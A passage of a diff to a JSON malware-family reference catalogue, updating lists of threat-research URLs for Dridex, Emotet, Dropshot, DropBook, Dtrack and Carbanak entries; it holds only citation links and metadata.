"https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", + "https://muha2xmad.github.io/unpacking/dridex/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://home.treasury.gov/news/press-releases/sm845", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/", + "https://github.com/rad9800/talks/blob/main/MALWARE_MADNESS.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/", + "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", + "https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/", + "https://en.wikipedia.org/wiki/Maksim_Yakubets", + "https://twitter.com/felixw3000/status/1382614469713530883?s=20", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain", + "https://www.youtube.com/watch?v=1VB15_HgUkg", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://malwarebookreports.com/cryptone-cobalt-strike/", + "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", + "https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf", + "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://artik.blue/malware3", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://securityintelligence.com/dridexs-cold-war-enter-atombombing/", + "https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf", + "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://intel471.com/blog/privateloader-malware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-005.pdf", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + 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"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/", - "https://www.secureworks.com/research/threat-profiles/gold-niagara" + "https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/" ], "synonyms": [ "Spy.Agent.ORM", @@ -19588,8 +20550,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook", - "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf" + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign" ], "synonyms": [], "type": [] @@ -19602,9 +20564,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/", "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/", - "https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/" + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" ], "synonyms": [], "type": [] @@ -19617,18 +20579,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack", - "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", 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"https://asec.ahnlab.com/en/33600/", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis", "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://unit42.paloaltonetworks.com/domain-parking/", - "https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://spamauditor.org/2020/10/the-many-faces-of-emotet/", - "https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/", - "https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet", - "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", - "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", - "https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection", - "https://securelist.com/the-chronicles-of-emotet/99660/", - "https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/", - "https://twitter.com/milkr3am/status/1354459859912192002", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", + "https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/", + "https://www.secureworks.com/research/threat-profiles/gold-crestwood", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", - "https://github.com/d00rt/emotet_research", - "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one", - "https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/", - "https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/", - "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", - "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates", - "https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b", + "https://blogs.vmware.com/security/2022/08/how-to-replicate-emotet-lateral-movement.html", + "https://asec.ahnlab.com/en/33600/", + "https://threatresearch.ext.hp.com/emotets-return-whats-different/", + "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf", "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", - "https://isc.sans.edu/diary/rss/27036", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service", + "https://unit42.paloaltonetworks.com/new-emotet-infection-method/", + "https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/", + "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", + "https://twitter.com/ContiLeaks/status/1498614197202079745", + "https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/", + "https://cert.grnet.gr/en/blog/reverse-engineering-emotet/", + "https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams", + "https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/", + "https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/", + "https://securelist.com/emotet-modules-and-recent-attacks/106290/", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii", + "https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/", + "https://d00rt.github.io/emotet_network_protocol/", + "https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/", + "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html", + "https://github.com/cecio/EMOTET-2020-Reversing", + "https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/", + "https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", + "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware", + "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", + "https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros", + "https://securelist.com/the-chronicles-of-emotet/99660/", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", + "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", + "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", + "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", + "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", + "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates", + "https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html", + "https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://www.deepinstinct.com/blog/the-re-emergence-of-emotet", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", + "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/", + "https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html", + "https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware", + "https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://persianov.net/emotet-malware-analysis-part-1", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://twitter.com/eduardfir/status/1461856030292422659", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", + "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", + "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", + "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", + "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", + "https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html", + "https://www.youtube.com/watch?v=_BLOmClsSpc", + "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", + "https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/", + "https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/", + "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", + "https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728", + "https://www.jpcert.or.jp/english/at/2019/at190044.html", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf", + "https://isc.sans.edu/diary/rss/28254", + "https://www.youtube.com/watch?v=8PHCZdpNKrw", + "https://www.youtube.com/watch?v=q8of74upT_g", + "https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code", + "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://community.riskiq.com/article/2cd1c003", + "https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action", + "https://cyber.wtf/2021/11/15/guess-whos-back/", + "https://blogs.cisco.com/security/emotet-is-back", + "https://www.hornetsecurity.com/en/security-information/emotet-is-back/", + "https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection", + "https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.youtube.com/watch?v=AkZ5TYBqcU4", + "https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://twitter.com/Cryptolaemus1/status/1516535343281025032", + "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", + "https://pl-v.github.io/plv/posts/Emotet-unpacking/", + "https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://isc.sans.edu/diary/rss/28254", - "https://d00rt.github.io/emotet_network_protocol/", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://twitter.com/eduardfir/status/1461856030292422659", - "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", - "https://cyber.wtf/2021/11/15/guess-whos-back/", - "https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", - "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", + "https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/", + "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", + "https://unit42.paloaltonetworks.com/c2-traffic/", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", - "https://pl-v.github.io/plv/posts/Emotet-unpacking/", - "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de", - "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", - "https://unit42.paloaltonetworks.com/new-emotet-infection-method/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet", "https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/", + "https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/", + "https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html", + "https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/", + "https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents", + "https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack", + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware", + "https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return", + "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://www.digitalshadows.com/blog-and-research/emotet-disruption/", + "https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/", + "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", + "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures", + "https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/", + "https://muha2xmad.github.io/unpacking/emotet-part-1/", + "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://github.com/d00rt/emotet_research", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612", + "https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/", + "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis", + "https://muha2xmad.github.io/unpacking/emotet-part-2/", + "https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation", + "https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html", + "https://intel471.com/blog/emotet-takedown-2021/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol", + "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/", + "https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/", + "https://unit42.paloaltonetworks.com/emotet-command-and-control/", + "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service", + "https://twitter.com/milkr3am/status/1354459859912192002", + "https://cyber.wtf/2022/03/23/what-the-packer/", + "https://twitter.com/raashidbhatt/status/1237853549200936960", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://paste.cryptolaemus.com", + "https://www.cert.pl/en/news/single/whats-up-emotet/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", + "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/", + "https://blog.threatlab.info/malware-analysis-emotet-infection/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128", + "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", + "https://spamauditor.org/2020/10/the-many-faces-of-emotet/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://github.com/mauronz/binja-emotet", "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - 